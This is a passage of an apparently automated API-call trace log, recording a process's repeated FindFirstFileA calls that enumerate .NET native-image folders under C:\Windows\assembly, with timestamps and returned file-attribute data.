ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xced1980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xced1980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.009] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd0285e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd0285e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0241.109] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd10ce20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd10ce20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.132] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd132f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd132f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0241.138] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37703730, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd1590e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd1590e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.145] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39074250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd17f240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd17f240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.151] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62239460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd17f240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd17f240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.159] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1f503665f8bdfc656829e4f233fe00cc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60f2e460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd1a53a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd1a53a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.168] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617cf420, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd1a53a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd1a53a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.184] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x384672f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd1cb500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd1cb500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.193] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\45f425d09bfdeee682671a2e82b9dfa5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e9c19b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd1f1660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd1f1660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.206] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61c45d60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd2177c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd2177c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.225] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61e5b0a0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd23d920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd23d920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.232] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bcd3a70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd23d920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd23d920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.238] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c99f0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd263a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd263a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.243] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38da0830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd263a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd263a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.249] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dcaa0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd263a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd263a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.254] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613a4da0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd289be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd289be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.259] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72693aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd289be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd289be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.266] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x378804f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd2afd40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd2afd40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.275] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d5f82d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd2afd40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd2afd40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.282] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72d45880, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd2d5ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd2d5ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.289] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73e153e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd2d5ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd2d5ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.295] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7202df80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd2d5ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd2d5ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.389] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd3ba6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd3ba6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.397] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60addc80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd3e0840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd3e0840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.434] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x732eccc0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd42cb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd42cb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.478] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d240070, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd49ef20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd49ef20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.484] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375acad0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xd4c5080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd4c5080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.489] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d8b540, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0xd4c5080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd4c5080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.494] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd4c5080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd4c5080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0241.500] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd4eb1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd4eb1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.504] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd4eb1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd4eb1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0241.511] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4eb438, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd4eb1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd4eb1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.516] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3e0a96, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd511340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd511340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.521] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ac0ee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd511340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd511340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.528] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5f5dda, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd511340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd511340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.535] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a5daafd496ae30928b7ac626037af53c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc0f645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd5374a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd5374a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.540] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\dcc11202188c9fa2ba06359a04d4b43a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2d60f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd5374a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd5374a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0241.546] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd5374a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xd5374a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 